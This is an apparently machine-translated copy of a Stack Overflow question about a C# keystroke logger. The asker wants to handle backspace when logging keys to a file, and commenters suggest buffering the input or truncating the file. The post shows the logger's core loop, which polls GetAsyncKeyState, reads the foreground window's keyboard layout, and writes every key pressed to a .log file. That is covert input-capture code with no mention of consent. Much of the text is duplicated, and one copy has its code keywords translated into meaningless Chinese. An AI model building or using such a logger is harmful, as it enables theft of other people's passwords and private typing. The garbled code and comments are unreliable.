C# 在C中写入文件时删除最后一个字符(退格)# 问题

C# 在C中写入文件时删除最后一个字符(退格)# 问题,c#,.net,winforms,C#,.net,Winforms,你好,我制作了一个可以记录击键的程序。我添加了应该正确打印的自定义键,例如:“Shift+/”将是“?”。但现在我有最后一个问题,涉及到退格“\b” int value = GetAsyncKeyState(i); if ((value & 0x8000) == 0 || (value & 0x1) == 0) continue;

你好,我制作了一个可以记录击键的程序。我添加了应该正确打印的自定义键,例如:“Shift+/”将是“”。但现在我有最后一个问题,涉及到退格“\b

                    int value = GetAsyncKeyState(i);
                    if ((value & 0x8000) == 0 || (value & 0x1) == 0)
                        continue;
                    key = (Keys)i;
                    switch (key)
                    {                           
                        case Keys.Shift:
                            write(" [" + key.ToString() + "] ");
                            break;
                        case Keys.Back:
                            write("\b");//     <----'WRITING' BACKSPACE TO THE FILE, EVERYTIME IT'S PRESSED.
                            break;
                        case Keys.Enter:
                            write("\n");
                            break;
                        case Keys.Space:
                            write(" ");
                            break;
                        case Keys.Tab:
                            write("\t");
                            break;
                        case Keys.Escape:
                            if (DEBUG)
                                return;

                        default:
                            IntPtr hWindowHandle = GetForegroundWindow();
                            uint dwProcessId;
                            uint dwThreadId = GetWindowThreadProcessId(hWindowHandle, out dwProcessId);
                            byte[] kState = new byte[256];
                            GetKeyboardState(kState);
                            uint HKL = GetKeyboardLayout(dwThreadId);
                            StringBuilder keyName = new StringBuilder();
                            ToUnicodeEx((uint)i, (uint)i, kState, keyName, 16, 0, HKL);
                            write(keyName.ToString());
                            break;
                    }
我正在使用StreamWriter写入.log文件。我还添加了“getforegroughindow”,但问题在于“write(“\b”)

                    int value = GetAsyncKeyState(i);
                    if ((value & 0x8000) == 0 || (value & 0x1) == 0)
                        continue;
                    key = (Keys)i;
                    switch (key)
                    {                           
                        case Keys.Shift:
                            write(" [" + key.ToString() + "] ");
                            break;
                        case Keys.Back:
                            write("\b");//     <----'WRITING' BACKSPACE TO THE FILE, EVERYTIME IT'S PRESSED.
                            break;
                        case Keys.Enter:
                            write("\n");
                            break;
                        case Keys.Space:
                            write(" ");
                            break;
                        case Keys.Tab:
                            write("\t");
                            break;
                        case Keys.Escape:
                            if (DEBUG)
                                return;

                        default:
                            IntPtr hWindowHandle = GetForegroundWindow();
                            uint dwProcessId;
                            uint dwThreadId = GetWindowThreadProcessId(hWindowHandle, out dwProcessId);
                            byte[] kState = new byte[256];
                            GetKeyboardState(kState);
                            uint HKL = GetKeyboardLayout(dwThreadId);
                            StringBuilder keyName = new StringBuilder();
                            ToUnicodeEx((uint)i, (uint)i, kState, keyName, 16, 0, HKL);
                            write(keyName.ToString());
                            break;
                    }
int value=GetAsyncKeyState(i);
如果((值&0x8000)==0 | |(值&0x1)==0)
继续;
键=(键)i;
开关(钥匙)
{                           
箱子钥匙。班次:
写入(“[”+key.ToString()+“]”);
打破
箱子钥匙。背面:

写(“\b”);//所以,如果有人键入
flydog57
,你想录制“Flydog”(两个退格删除了最后两个字符)。对吗?它不会自动神奇地为你这样做。退格只是一个字符(ASCII 0x08,U+0008)。按照惯例,程序使用该字符删除正在使用的任何缓冲区中的最后一个字符。这是您需要编写的内容。如果您确实想这样做,请缓冲您的输入并在缓冲区中实现后台空间功能。一旦超出后台空间限制,请将缓冲区写入流。顺便说一下,打开Word。键入
现在是所有好人来帮助党的时候了
。现在按+并注意到最后一个字被删除了(做两次,两个字消失)。现在在记事本中做同样的事情。你会得到你的瘦小的垂直矩形字符。这是因为从来没有人在记事本
中使用(var fs=new FileStream([FilePath],FileMode.Open,FileAccess.ReadWrite,FileShare.None)){fs.SetLength(fs.Length-1);}
。如果出于同样的原因,编码为UTF-16,则需要设置
fs.Length-2
。您希望实现什么?如果您希望删除实际文本中的字符,则可能需要处理缓存并在按backspace键时删除字符。如果您只想正确显示文件,可能需要在
时加载并删除字符>\出现b
。@netplaiteam则在实际编写之前必须自己处理。
\b
是一个字符,streamwriter只需编写它,不做任何特殊操作。Backspace按键转换为“删除”操作编辑时,而不是编辑器加载文件时。因此,如果有人键入
flydog57
,您希望录制“Flydog”(两个退格删除了最后两个字符)。对吗?它不会自动神奇地为您这样做。退格只是一个字符(ASCII 0x08,U+0008)。按照惯例,程序使用该字符删除正在使用的任何缓冲区中的最后一个字符。这是您需要编写的内容。如果您确实想这样做,请缓冲您的输入并在缓冲区中实现后台空间功能。一旦超出后台空间限制,请将缓冲区写入流。顺便说一下,打开Word。键入
现在是所有好人来帮助党的时候了
。现在按+并注意到最后一个字被删除了(做两次,两个字消失)。现在在记事本中做同样的事情。你会得到你的瘦小的垂直矩形字符。这是因为从来没有人在记事本
中使用(var fs=new FileStream([FilePath],FileMode.Open,FileAccess.ReadWrite,FileShare.None)){fs.SetLength(fs.Length-1);}
。如果出于同样的原因,编码为UTF-16,则需要设置
fs.Length-2
。您希望实现什么?如果您希望删除实际文本中的字符,则可能需要处理缓存并在按backspace键时删除字符。如果您只想正确显示文件,可能需要在
时加载并删除字符>\b
显示。@netplaiteam则在实际写入之前必须自己处理。
\b
是一个字符,streamwriter只需编写它,不做任何特殊操作。在编辑时,Backspace按键转换为“删除”操作,而不是在编辑器加载文件时。